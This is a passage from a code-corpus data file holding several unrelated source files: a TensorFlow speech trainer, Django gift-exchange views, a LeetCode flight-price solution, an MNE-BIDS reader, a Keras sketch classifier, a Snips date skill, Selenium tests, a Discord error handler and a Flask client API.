compression algorithm.\n # compression = hvd.Compression.fp16 if self.fp16_allreduce else hvd.Compression.none\n # # Horovod: add Horovod Distributed GradientTape.\n # tape = hvd.DistributedGradientTape(tape, compression=compression)\n grads = tape.gradient(total_loss, self.model.trainable_variables)\n grads, _ = tf.clip_by_global_norm(grads, 5.0)\n grads = [\n tf.debugging.check_numerics(tensor=grad,\n message=\"nan or inf in grad\",\n name=\"grad\") for grad in grads\n ]\n self.model.optimizer.apply_gradients(zip(grads, self.model.trainable_variables))\n unused_trainable_variables = [\n tf.debugging.check_numerics(tensor=var,\n message=\"nan or inf in train_var\",\n name=\"train_var\")\n for var in self.model.trainable_variables\n ]\n\n\n return metrics\n\n def test_step(self, data):\n \"\"\"\n The argument data represents what is yielded from tf.data.Dataset. It\n is expected to be a tuple with four elements, namely:\n\n features, features_size, encodeds, encodeds_size = data\n\n where\n\n - features has shape [batch_size, time, channels], and is of type\n tf.float32\n - features_size has shape [batch_size], and is of type tf.int32, and\n represents the number of time frames per example in the batch\n - encodeds has shape [batch_size, None], and is of type tf.int32, and\n represents a text encoded version of the original sentence per\n example in the batch; it contains values in the range [1,\n encoder.vocab_size)\n - encodeds_size has shape [batch_size], and is of type tf.int32, and\n represents the number of tokens in each text encoded version of the\n original sentence\n\n In all above batch_size and time and determined at run time, whereas\n channels is defined at compile time\n \"\"\"\n\n metrics = {}\n\n features, features_size, encodeds, encodeds_size = data\n logits = self.model(features, training=False)\n logits_size = get_logits_size(features, features_size, logits)\n _ = self.loss(logits, logits_size, encodeds, encodeds_size, metrics=metrics)\n logits_transposed = tf.transpose(logits, [1, 0, 2])\n logits_encodeds = get_logits_encodeds(\n logits_transposed=logits_transposed,\n logits_size=logits_size,\n greedy_decoder=self.greedy_decoder,\n beam_width=self.beam_width,\n )\n # tfds.features.text.SubwordTextEncoder can only run on CPU\n with tf.device(\"/CPU:0\"):\n sentences = tf.map_fn(self.encoder.get_decoded_from_encoded,\n encodeds,\n dtype=tf.string)\n logits_sentences = tf.map_fn(self.encoder.get_decoded_from_encoded,\n logits_encodeds,\n dtype=tf.string)\n\n _, _, _, _, hash_table = get_phoneme_mapping(source_enc_name='p48', dest_enc_name='p39')\n encodeds = old_to_new_indices(hash_table, encodeds)\n logits_encodeds = old_to_new_indices(hash_table, logits_encodeds)\n\n wer_numerator, wer_denominator = get_wer_numerator_denominator(\n sentences=sentences, logits_sentences=logits_sentences)\n\n ler_numerator, ler_denominator = get_ler_numerator_denominator(\n encodeds=encodeds, logits_encodeds=logits_encodeds)\n\n metrics.update({\n \"wer\": (wer_numerator, wer_denominator),\n \"ler\": (ler_numerator, ler_denominator),\n })\n\n return metrics\n\n\ndef get_trainer(*args, **kwargs):\n return Trainer(*args, **kwargs)\n","sub_path":"nasbench_asr/training/tf/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":19374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"151293942","text":"from django.http import *\nfrom django.shortcuts import render_to_response,redirect\nfrom django.template import RequestContext\nfrom django.conf import settings\nfrom intercambios.models import Evento, ParticipantesEvento, Usuario, InvitacionesPendientes\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nimport datetime\nimport json\nimport pytz\n\ndef _json_object_hook(d): return namedtuple('object', d.keys())(*d.values())\ndef json2obj(data): return json.loads(data, object_hook=_json_object_hook)\n\ndef agregar_participante(request, id):\n if request.method == 'POST':\n local_TZ = pytz.timezone(settings.TIME_ZONE)\n \n nombre_evento = request.POST['nombre_evento']\n fecha = request.POST['fecha']\n participantes = request.POST['participantes']\n precio = request.POST['precio']\n \n fecha_evento = datetime.datetime.strptime(fecha, '%m/%d/%Y')\n fecha_evento_TZ = local_TZ.localize(fecha_evento)\n \n evento = Evento(nombre=nombre_evento, precio=precio, participantes=participantes, fecha_evento=fecha_evento_TZ, admin=request.user)\n evento.save()\n \n data={\n 'nuevo_evento':evento \n }\n \n \n return render_to_response('evento_creado.html' , data , context_instance=RequestContext(request))\n \n return render_to_response('crear_evento.html', context_instance=RequestContext(request))\n\n\n@login_required\ndef participar_evento(request,id):\n try:\n evento = Evento.objects.get(id=id,estado='activo')\n except:\n messages.warning(request, '

No existe el evento seleccionado

')\n return HttpResponseRedirect('/') \n participantes_max = evento.numero_participantes\n participantes_actuales = evento.participantes.all().count()\n try:\n invitacion = InvitacionesPendientes.objects.get(usuario=request.user,evento=evento)\n invitacion.delete()\n except:\n pass\n if request.user in evento.participantes.all():\n messages.info(request, '

%s!! tu ya formas parte del evento %s

' % (request.user,evento.nombre))\n return HttpResponseRedirect('/detalles/evento/%s/' % evento.id)\n disponibles = participantes_max-participantes_actuales\n if(disponibles>0):\n ParticipantesEvento.objects.get_or_create(usuario = request.user, evento = evento)\n messages.success(request, '

%s!! ahora ya eres parte del evento %s

' % (request.user,evento.nombre))\n return HttpResponseRedirect('/detalles/evento/%s/' % evento.id)\n else:\n messages.error(request, '

%s!! El numero maximo de participantes del evento ha llegado a su limite

' % (request.user.nombre))\n return HttpResponseRedirect('/' )\n \n@login_required\ndef invitar_evento(request,id):\n try:\n evento = Evento.objects.get(id=id,estado='activo')\n except:\n messages.warning(request, '

No existe el evento seleccionado

')\n return HttpResponseRedirect('/') \n ParticipantesEvento.objects.get_or_create(usuario = request.user, evento = evento)\n usuarios = Usuario.objects.exclude(id__in = evento.participantes.all().values_list('id', flat=True))\n data={\n 'evento':evento,\n 'usuarios':usuarios \n }\n return render_to_response('invitar_evento.html' , data , context_instance=RequestContext(request))\n\n\ndef elegir_regalo(request,id):\n try:\n evento = Evento.objects.get(id=id,estado='activo')\n except:\n messages.warning(request, '

No existe el evento seleccionado

')\n return HttpResponseRedirect('/') \n ParticipantesEvento.objects.get_or_create(usuario = request.user, evento = evento)\n \n data={\n 'evento':evento \n }\n return render_to_response('elegir_regalo.html' , data , context_instance=RequestContext(request))\n\n\ndef enviar_invitacion(request,id):\n evento = Evento.objects.get(id=id)\n try:\n ids_usuarios_invitar = json2obj(request.POST['usuarios'])\n \n for id_usuario in ids_usuarios_invitar:\n usuario = Usuario.objects.get(id=id_usuario)\n if not usuario in evento.participantes.all():\n invitacion = InvitacionesPendientes.objects.get_or_create(usuario=usuario,evento=evento)\n invitacion = InvitacionesPendientes.objects.get(usuario=usuario,evento=evento)\n invitacion.estado = 'pendiente'\n invitacion.save()\n \n except:\n pass\n return HttpResponse('{}', content_type='application/json')","sub_path":"intercambios/views/participante.py","file_name":"participante.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"429772918","text":"\n\nfrom xai.brain.wordbase.nouns._steamer import _STEAMER\n\n#calss header\nclass _STEAMERS(_STEAMER, ):\n\tdef __init__(self,): \n\t\t_STEAMER.__init__(self)\n\t\tself.name = \"STEAMERS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"steamer\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_steamers.py","file_name":"_steamers.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"277307534","text":"# 787. K 站中转内最便宜的航班\n\n\nclass Solution:\n\n\n def findCheapestPrice(self, n: int, flights: list[list[int]], src: int, dst: int, k: int) -> int:\n \"\"\"\n 动态规划\n \"\"\"\n # dp = [float(\"inf\")] * (n+1)\n # dp[src] = 0\n # res = float(\"inf\")\n # for i in range(k+1):\n # temp = [float(\"inf\")] * (n+1)\n # for j in range(len(flights)):\n # if dp[flights[j][0]] == float(\"inf\"):\n # continue\n # temp[flights[j][1]] = min(temp[flights[j][1]], dp[flights[j][0]]+flights[j][2])\n # dp = temp\n # res = min(res, dp[dst])\n # if res == float(\"inf\"):\n # return -1\n # return res\n\n \"\"\"\n BFS\n \"\"\"\n flight_map = {}\n for i in range(len(flights)):\n if flights[i][0] not in flight_map:\n flight_map[flights[i][0]] = []\n flight_map[flights[i][0]].append(i)\n\n queue = [(src, 0)]\n city_price = {src:0}\n count = 0\n res = float(\"inf\")\n while count <= k:\n temp = []\n for (x, y) in queue:\n if x in flight_map:\n for i in flight_map[x]:\n price = y + flights[i][2]\n if flights[i][1] == dst:\n res = min(res, price)\n else:\n if flights[i][1] not in city_price:\n city_price[flights[i][1]] = float(\"inf\")\n if city_price[flights[i][1]] > price:\n temp.append((flights[i][1], price))\n city_price[flights[i][1]] = price\n queue = temp\n count += 1\n if res == float(\"inf\"):\n return -1\n return res\n\n\nif __name__ == '__main__':\n print(Solution().findCheapestPrice(3, [[0,1,2],[1,2,1],[2,0,10]], 1, 2, 1))\n print(Solution().findCheapestPrice(3, [[0,1,100],[1,2,100],[0,2,500]], 0, 2, 1))\n print(Solution().findCheapestPrice(3, [[0,1,100],[1,2,100],[0,2,500]], 0, 2, 0))","sub_path":"answers/findCheapestPrice.py","file_name":"findCheapestPrice.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"129939626","text":"\"\"\"Check whether a file format is supported by BIDS and then load it.\"\"\"\n# Authors: Mainak Jas \n# Alexandre Gramfort \n# Teon Brooks \n# Chris Holdgraf \n# Stefan Appelhoff \n#\n# License: BSD (3-clause)\nfrom mne import io\nimport os\n\nallowed_extensions_meg = ['.con', '.sqd', '.fif', '.pdf', '.ds']\nallowed_extensions_eeg = ['.vhdr', # BrainVision, accompanied by .vmrk, .eeg\n '.edf', # European Data Format\n '.bdf', # Biosemi\n '.set', # EEGLAB, potentially accompanied by .fdt\n '.cnt', # Neuroscan\n ]\n\nALLOWED_EXTENSIONS = allowed_extensions_meg + allowed_extensions_eeg\n\n\ndef _parse_ext(raw_fname, verbose=False):\n \"\"\"Split a filename into its name and extension.\"\"\"\n fname, ext = os.path.splitext(raw_fname)\n # BTi data is the only file format that does not have a file extension\n if ext == '':\n if verbose is True:\n print('Found no extension for raw file, assuming \"BTi\" format and '\n 'appending extension .pdf')\n ext = '.pdf'\n return fname, ext\n\n\ndef _read_raw(raw_fname, electrode=None, hsp=None, hpi=None, config=None,\n montage=None, verbose=None):\n \"\"\"Read a raw file into MNE, making inferences based on extension.\"\"\"\n fname, ext = _parse_ext(raw_fname)\n\n # MEG File Types\n # --------------\n # KIT systems\n if ext in ['.con', '.sqd']:\n raw = io.read_raw_kit(raw_fname, elp=electrode, hsp=hsp,\n mrk=hpi, preload=False)\n\n # Neuromag or converted-to-fif systems\n elif ext in ['.fif']:\n raw = io.read_raw_fif(raw_fname, preload=False)\n\n # BTi systems\n elif ext == '.pdf':\n if os.path.isfile(raw_fname):\n raw = io.read_raw_bti(raw_fname, config_fname=config,\n head_shape_fname=hsp,\n preload=False, verbose=verbose)\n\n # CTF systems\n elif ext == '.ds':\n raw = io.read_raw_ctf(raw_fname)\n\n # EEG File Types\n # --------------\n # BrainVision format by Brain Products, links to a .eeg and a .vmrk file\n elif ext == '.vhdr':\n raw = io.read_raw_brainvision(raw_fname)\n\n # EDF (european data format) or BDF (biosemi) format\n elif ext == '.edf' or ext == '.bdf':\n raw = io.read_raw_edf(raw_fname, preload=True)\n\n # EEGLAB .set format, a .fdt file is potentially linked from the .set\n elif ext == '.set':\n raw = io.read_raw_eeglab(raw_fname)\n\n # Neuroscan .cnt format\n elif ext == '.cnt':\n raw = io.read_raw_cnt(raw_fname, montage=montage)\n\n # No supported data found ...\n # ---------------------------\n else:\n raise ValueError(\"Raw file name extension must be one of %\\n\"\n \"Got %\" % (ALLOWED_EXTENSIONS, ext))\n return raw\n","sub_path":"mne_bids/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"284211979","text":"from __future__ import unicode_literals\n\nfrom unittest import TestCase\n\nclass T(TestCase):\n def test0generator(self):\n expected = r'a', r'b'\n actual = tuple(self.gen())\n self.assertEqual(expected, actual)\n @staticmethod\n def gen():\n wtr = TestableWriter(gen=True)\n for y in wtr.write(r'a'):\n yield y\n for y in wtr.write(r'b'):\n yield y\n def test1contextlib_redirect_stdout(self):\n try:\n from contextlib import redirect_stdout\n except ImportError:\n class redirect_stdout:\n # stolen from python3.\n def __init__(self, new_target):\n self._new_target = new_target\n self._old_targets = []\n def __enter__(self):\n import sys\n self._old_targets.append(sys.stdout)\n sys.stdout = self._new_target\n return self._new_target\n def __exit__(self, *args, **kwargs):\n import sys\n sys.stdout = self._old_targets.pop()\n from io import StringIO\n b = StringIO()\n with redirect_stdout(b):\n wtr = TestableWriter(gen=False)\n wtr.write(r'a')\n wtr.write(r'b')\n expected = r'ab'\n actual = b.getvalue()\n self.assertEqual(expected, actual)\n\nclass TestableWriter(object):\n def __init__(self, gen=False):\n from sys import stdout\n self.transfer = self.y if gen else stdout.write\n def write(self, text):\n return self.transfer(text)\n @staticmethod\n def y(text):\n yield text\n","sub_path":"01gather-write/a00.py","file_name":"a00.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"142375138","text":"#%matplotlib inline\nimport matplotlib.pyplot as plt\n\nimport keras\nfrom keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Input\nfrom keras.layers import Conv2D, MaxPooling2D ,AveragePooling2D\n\nimport tensorflow as tf\n\nimport os\nimport pickle\nimport numpy as np\n\n\ndata = np.load('x_data_100_classes_5k.npy.zip')['x_data_100_classes_5k']\ndata = np.array(map(lambda x : np.reshape(x,(28,28,1)) , data))\n\nclasses = ['airplane','alarm clock','ambulance','angel','ant','anvil','apple','axe','banana','bandage','barn','baseball bat','baseball',\n 'basket','basketball','bathtub','beach','bear','beard','bed','bee','belt','bicycle','binoculars','birthday cake','blueberry',\n 'book','boomerang','bottlecap','bowtie','bracelet','brain','bread','broom','bulldozer','bus','bus','butterfly','cactus','cake',\n 'calculator','calendar','camel','camera','campfire','candle','cannon','canoe','car','carrot','cello','computer',\n 'cat','chandelier','clock','cloud','coffee cup','compass','cookie','couch','cow','crab','crayon','crocodile','crown',\n 'cup','diamond','dog','dolphin','donut','dragon','dresser','drill','drums','duck','dumbbell','ear','elbow',\n 'elephant','envelope','eraser','eye','eyeglasses','face','fan','feather','fence','finger','fire hydrant',\n 'fireplace','firetruck','fish','flamingo','flashlight','flip flops','floor lamp','flower','flying saucer',\n 'foot','fork']\n\n#plt.imshow(data[9999]);plt.show()\n#plt.imshow(data[10000]);plt.show()\ny = np.zeros(500000 ,dtype = np.uint8)\nlabel = 0\ncounter = 0\nfor i in range(len(data)):\n if classes[label] == 'Bus':\n y[i] = 35\n else:\n y[i] = label\n counter += 1\n if counter==5000:\n counter = 0\n label += 1\n \nbatch_size = 320\nnum_classes = 100\nepochs = 50\n\nx_train ,y_train = data[0::2],y[0::2]\nx_test, y_test = data[1::2],y[1::2]\nprint('x_train shape:', x_train.shape)\nprint('y_train shape:', y_train.shape)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\n\nInp0 = Input(shape=(28,28,1),name = 'Input_layer')\nInp = keras.layers.BatchNormalization()(Inp0)\n#ConvBlock 01\n\nconv01a = Conv2D(32, (3, 3), padding='same',activation = 'relu', input_shape=Inp.shape,name = 'Conv01_layerA')(Inp)\nconv02a = Conv2D(32, (3, 3),activation = 'relu',name = 'Conv02_layerA')(conv01a)\nmaxpool_01a = MaxPooling2D(pool_size=(2, 2),name = 'MaxPool01_layerA')(conv02a)\ndrop01a = Dropout(0.25,name = 'Dropout01_layerA')(maxpool_01a)\n\nconv01b = Conv2D(32, (3, 3), padding='same',activation = 'relu', input_shape=Inp.shape,name = 'Conv01_layerB')(Inp)\nconv02b = Conv2D(32, (3, 3),activation = 'relu',name = 'Conv02_layerB')(conv01b)\navgpool_01b = AveragePooling2D(pool_size=(2, 2),name = 'AvgPool01_layerB')(conv02b)\ndrop01b = Dropout(0.25,name = 'Dropout01_layerB')(avgpool_01b)\ndrop01_p = keras.layers.concatenate([drop01a,drop01b])\n\n#Convblock 02\ndrop01 = keras.layers.BatchNormalization()(drop01_p)\nconv03a = Conv2D(64, (3, 3), padding='same',activation = 'relu',name = 'Conv03_layerA')(drop01)\nconv04a = Conv2D(64, (3, 3),activation = 'relu',name = 'Conv04_layerA')(conv03a)\nmaxpool_02a = MaxPooling2D(pool_size=(2, 2),name = 'MaxPool02_layerA')(conv04a)\ndrop02a = Dropout(0.25,name = 'Dropout02_layerA')(maxpool_02a)\n\nconv03b = Conv2D(64, (3, 3), padding='same',activation = 'relu',name = 'Conv03_layerB')(drop01)\nconv04b = Conv2D(64, (3, 3),activation = 'relu',name = 'Conv04_layerB')(conv03b)\nAvgpool_02b = AveragePooling2D(pool_size=(2, 2),name = 'AvgPool02_layerB')(conv04b)\ndrop02b = Dropout(0.25,name = 'Dropout02_layerB')(Avgpool_02b)\n\ndrop02_p = keras.layers.concatenate([drop02a,drop02b])\n#ConvBLock 03\ndrop02 = keras.layers.BatchNormalization()(drop02_p)\nconv05 = Conv2D(256, (3, 3),activation = 'relu',name = 'Conv05_layer')(drop02)\nconv06 = Conv2D(256, (2, 2),activation = 'relu',name = 'Conv06_layer')(conv05)\ndrop03 = Dropout(0.25,name = 'Dropout03_layer')(conv06)\n\n# Fully Connected Dense block\nx = Flatten(name = 'Flatten_layer')(drop03)\nx = Dense(512, name = 'Dense_layer')(x)\nx = Activation('relu',name='Dense_Relu') (x)\nx = Dropout(0.5,name = 'Dropout04_layer')(x)\nlogits_layer = Dense(num_classes, name= 'logits_layer')(x)\noutput = Activation('softmax',name = 'Sofftmax_layer')(logits_layer)\n\n# Define model inputs and output\nmodel = Model(Inp0, output)\nmodel.summary()\n\n# initiate RMSprop optimizer\nopt = keras.optimizers.rmsprop(lr=0.0003, decay=1e-4) #decays by two orders of magnitude\n\n# Let's train the model using RMSprop\nmodel.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\n\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\ncallbacks = [\n EarlyStopping(monitor='val_acc', patience=5, verbose=0),\n# ModelCheckpoint(filepath='./weights.h5',\n# monitor='val_acc',\n# verbose=1, save_best_only=True)\n ]\n\nhist = model.fit(x_train, y_train,batch_size=batch_size,\n epochs=epochs,verbose = 2,\n validation_data=(x_test, y_test),callbacks=callbacks)\nmodel.save_weights('./weight.h5')\nnp.save('hist.npy',hist.history)\n##hist = model.fit_generator(datagen.flow(x_train, y_train,\n## batch_size=batch_size),\n## steps_per_epoch=x_train.shape[0] // batch_size,\n## epochs=epochs,\n## validation_data=(x_test, y_test),\n## workers=4)\n","sub_path":"week2/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"652024389","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport configparser\nfrom hermes_python.hermes import Hermes\nfrom hermes_python.ontology import *\nimport io\nimport datetime\n\nCONFIGURATION_ENCODING_FORMAT = \"utf-8\"\nCONFIG_INI = \"config.ini\"\n\nclass SnipsConfigParser(configparser.SafeConfigParser):\n def to_dict(self):\n return {section : {option_name : option for option_name, option in self.items(section)} for section in self.sections()}\n\n\ndef read_configuration_file(configuration_file):\n try:\n with io.open(configuration_file, encoding=CONFIGURATION_ENCODING_FORMAT) as f:\n conf_parser = SnipsConfigParser()\n conf_parser.readfp(f)\n return conf_parser.to_dict()\n except (IOError, configparser.Error) as e:\n return dict()\n\n\ndef subscribe_intent_callback(hermes, intentMessage):\n conf = read_configuration_file(CONFIG_INI)\n action_wrapper(hermes, intentMessage, conf)\n \n\ndef action_wrapper(hermes, intentMessage, conf):\n \"\"\" Write the body of the function that will be executed once the intent is recognized. \n In your scope, you have the following objects : \n - intentMessage : an object that represents the recognized intent\n - hermes : an object with methods to communicate with the MQTT bus following the hermes protocol. \n - conf : a dictionary that holds the skills parameters you defined \n \"\"\" \n result_sentence = \"Diese Funktion ist noch nicht vorhanden, wird aber bald hinzugefügt.\"\n datetype = intentMessage.slots.datetype.first().value\n print((intentMessage.slots.datetype))\n if datetype == 'weekday' or 'wochentag' in datetype:\n weekday = datetime.datetime.now().isoweekday()\n weekday_list = ['Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag', 'Sonntag']\n result_sentence = \"Heute haben wir {weekday}.\".format(weekday=weekday_list[weekday - 1])\n elif datetype == 'year':\n year = datetime.datetime.now().year\n result_sentence = \"Wir sind im Jahr {year}\".format(year=year)\n elif datetype == 'weeknumber' or 'kw' in datetype:\n weeknumber = datetime.datetime.now().isocalendar()[1]\n result_sentence = \"Wir haben gerade die Kalenderwoche {weeknumber}\".format(weeknumber=weeknumber)\n elif datetype == 'minute':\n minutes = datetime.datetime.now().minute\n result_sentence = \"Wir haben die Minute {minutes}\".format(minutes=minutes)\n elif datetype == 'hour':\n hours = datetime.datetime.now().hour\n result_sentence = \"Wir haben gerade die Stunde {hours}\".format(hours=hours)\n current_session_id = intentMessage.session_id\n hermes.publish_end_session(current_session_id, result_sentence)\n\n\nif __name__ == \"__main__\":\n with Hermes(\"localhost:1883\") as h:\n h.subscribe_intent(\"milode:dateInfo\", subscribe_intent_callback).start()\n","sub_path":"action-dateInfo.py","file_name":"action-dateInfo.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"613472408","text":"\n#!/bin/python3\n\nimport sys\n\nt = int(input().strip())\n\nfor a0 in range(t):\n b,w = input().strip().split(' ')\n b,w = [int(b),int(w)]\n x,y,z = input().strip().split(' ')\n x,y,z = [int(x),int(y),int(z)]\n \n #black gifts\n cost = 0\n if y + z < x:\n cost += b*(y+z)\n else:\n cost += b*x\n\n #white gifts\n if x + z < y:\n cost += (x + z)*w\n else:\n cost += y * w\n print(cost)\n","sub_path":"Python_3.4_Hackerrank_Algorithms/Implementation/Taum_And_Bday.py","file_name":"Taum_And_Bday.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"488620163","text":"import pytest\nfrom factory import Factory\nfrom pages.ondemand.admin.services.services import Services\nfrom pytest import fixture\n\n\n@pytest.mark.ondemand_admin\n@pytest.mark.ui\nclass TestServiceArchive:\n \"\"\"Battery of tests for service archive functionality.\"\"\"\n\n @pytest.fixture(autouse=True)\n def set_pages(self, selenium: fixture) -> None:\n \"\"\"Instantiate all pages used in service archive testing.\n\n :param selenium: An instance of Selenium webdriver.\n \"\"\"\n self.services = Services(selenium)\n\n @pytest.mark.medium\n @pytest.mark.smoke\n def test_archive_expired_service(self, service_factory: Factory) -> None:\n \"\"\"Archive an expired service, then check for a success state.\n\n :param service_factory: A factory for building services via the API.\n \"\"\"\n expired_service = service_factory.create(expired_service=True)\n\n self.services.visit()\n\n card = self.services.service_card_list.surface_service_card(expired_service)\n card.open_archive_modal()\n\n assert (\n card.archive_modal.confirm_service_archive() is True\n and self.services.service_card_list.card_archived(expired_service) is True\n )\n\n @pytest.mark.high\n def test_current_services_cannot_be_archived(self, service: fixture) -> None:\n \"\"\"Attempt to archive a current service, then check for a failure state.\n\n :param service: A service built with the service API.\n \"\"\"\n self.services.visit()\n card = self.services.service_card_list.surface_service_card(service)\n\n card.open_archive_modal()\n\n assert self.services.service_card_list.card_archived(service) is False\n\n @pytest.mark.medium\n def test_service_exceptions_prevent_archive(self, service_with_add_exception: fixture) -> None:\n \"\"\"Attempt to archive a service with a service exception, then check for a failure state.\n\n :param service_with_add_exception: A service with exception built with the service API.\n \"\"\"\n self.services.visit()\n card = self.services.service_card_list.surface_service_card(service_with_add_exception)\n\n card.open_archive_modal()\n\n assert self.services.service_card_list.card_archived(service_with_add_exception) is False\n\n @pytest.mark.medium\n def test_ride_data_prevents_archive(self, ride_factory: Factory, service: fixture) -> None:\n \"\"\"Attempt to archive a service with ride data, then check for a failure state.\n\n :param ride_factory: RideFactory for creating ride objects.\n :param service: A service built with the service API.\n \"\"\"\n _: dict = ride_factory.create(service=service)\n\n self.services.visit()\n card = self.services.service_card_list.surface_service_card(service)\n\n card.open_archive_modal()\n\n assert self.services.service_card_list.card_archived(service) is False\n","sub_path":"integration/ondemand/admin/services/archive/test_service_archive.py","file_name":"test_service_archive.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"69990721","text":"import traceback\n\nimport discord\nfrom discord.ext import commands\n\nfrom addon.easypaste import easypaste\n\nclass ErrorHandler(commands.Cog):\n\t\"\"\"\n\tError handler.\n\t\"\"\"\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\n\n\tdef cog_unload(self):\n\t\tpass\n\n\n\t@commands.Cog.listener()\n\tasync def on_ready(self):\n\t\tpass\n\n\t@commands.Cog.listener()\n\tasync def on_command_error(self, ctx, error):\n\t\tif isinstance(error, (commands.MissingPermissions, commands.errors.MissingRole)):\n\t\t\tawait ctx.send(f\"Tu n'as pas les droits d'utiliser `{ctx.command}` {ctx.author.mention} !\")\n\t\t\treturn\n\n\t\tif isinstance(error, commands.errors.CommandOnCooldown):\n\t\t\tif ctx.author.guild_permissions.administrator:\n\t\t\t\tawait ctx.reinvoke()\n\t\t\telse:\n\t\t\t\tminutes, seconds = divmod(int(error.retry_after), 60)\n\t\t\t\thours, minutes = divmod(minutes, 60)\n\t\t\t\tdays, hours = divmod(hours, 24)\n\t\t\t\tweeks, days = divmod(days, 7)\n\t\t\t\tunits = [\n\t\t\t\t\t(weeks, \"semaine(s)\"),\n\t\t\t\t\t(days, \"jour(s)\"),\n\t\t\t\t\t(hours, \"heure(s)\"),\n\t\t\t\t\t(minutes, \"minute(s)\"),\n\t\t\t\t\t(seconds, \"seconde(s)\"),\n\t\t\t\t]\n\n\t\t\t\tcd = [f\"{time} {unit}\" for time, unit in units if time]\n\t\t\t\tcd = (\", \".join(cd[:-1]) + \" et \" + cd[-1]) if len(cd) > 1 else cd[0]\n\t\t\t\tawait ctx.send(f\"{ctx.author.mention} la commande `{ctx.command.qualified_name}` est en cooldown, merci d'attendre {cd}\")\n\t\t\treturn\n\n\t\tif isinstance(error, commands.errors.MissingRequiredArgument):\n\t\t\tawait ctx.send(f\"Argument manquant : {error.param.name}\")\n\t\t\tawait ctx.send_help(ctx.command)\n\t\t\treturn\n\n\t\tif isinstance(error, commands.errors.BadArgument):\n\t\t\tawait ctx.send(error)\n\t\t\treturn\n\n\t\tif isinstance(error, commands.errors.DisabledCommand):\n\t\t\tawait ctx.send(f\"la commande `{ctx.prefix}{ctx.command}` est désactivée pour la raison suivante : {getattr(ctx.command, '__original_kwargs__').get('reason', None)}\")\n\t\t\treturn\n\n\t\tif isinstance(error, (commands.errors.CommandNotFound, commands.errors.CheckFailure)):\n\t\t\treturn\n\n\n\t\terror_channel = discord.utils.get(ctx.guild.text_channels, id=548175318171779112)\n\t\tcrash_log = \"\".join(traceback.format_exception(type(error), error, error.__traceback__))\n\n\t\tcrash_log_url = await easypaste().async_send_paste(crash_log.encode('utf-8'))\n\t\tmessage_content = {\n\t\t\t\"date\": ctx.message.created_at.strftime('[%d/%m/%Y - %H:%M]'),\n\t\t\t\"command name\": ctx.command.full_parent_name,\n\t\t\t\"author display name\": ctx.author.display_name,\n\t\t\t\"author ID\": ctx.author.id,\n\t\t\t\"message\": ctx.message.content,\n\t\t\t\"crash log\": crash_log_url,\n\t\t}\n\t\tmsg = \"\\n\".join([f\"{key} : {message_content[key]}\" for key in message_content])\n\t\tawait error_channel.send(msg)\n\ndef setup(bot):\n\tbot.add_cog(ErrorHandler(bot))","sub_path":"bot/ext/error_handler.py","file_name":"error_handler.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"218734328","text":"import os\nfrom flask import Flask, request\nfrom flask_orator import Orator, jsonify\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom twilio.rest import Client\nimport emoji\nimport logging\nfrom models.cliente import Cliente\nfrom models.pedido import Pedido\nfrom models.producto import Producto\n\n\n# Configuration\n\nORATOR_DATABASES = {\n 'postgres': { \n 'driver': 'postgres',\n 'host': 'localhost',\n 'database': 'hackatons11',\n 'user': 'postgres',\n 'password': '1234',\n 'prefix': ''\n }\n}\n\n# Creating Flask application\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n# Initializing Orator\ndb = Orator(app)\n\nif __name__ == '__main__':\n app.run(debug = True)\n\n#routes\n@app.route('/', methods=['GET'])\ndef hello():\n return \"Bienvenidos al inicio de mi aplicacion\"\n#CRUD clientes\n@app.route('/clientes/', methods=['GET'])\ndef get_allclients():\n cliente = Cliente.all()\n return jsonify(cliente)\n\n@app.route('/clientes/', methods=['POST'])\ndef add_client():\n nombre = request.get_json()[\"nombre\"]\n email = request.get_json()[\"email\"]\n telefono = request.get_json()[\"telefono\"]\n Cliente.create(nombre = nombre, email = email, telefono = telefono) \n return jsonify(request.get_json())\n\n@app.route('/clientes/', methods=['GET'])\ndef get_client(cliente_id):\n cliente = 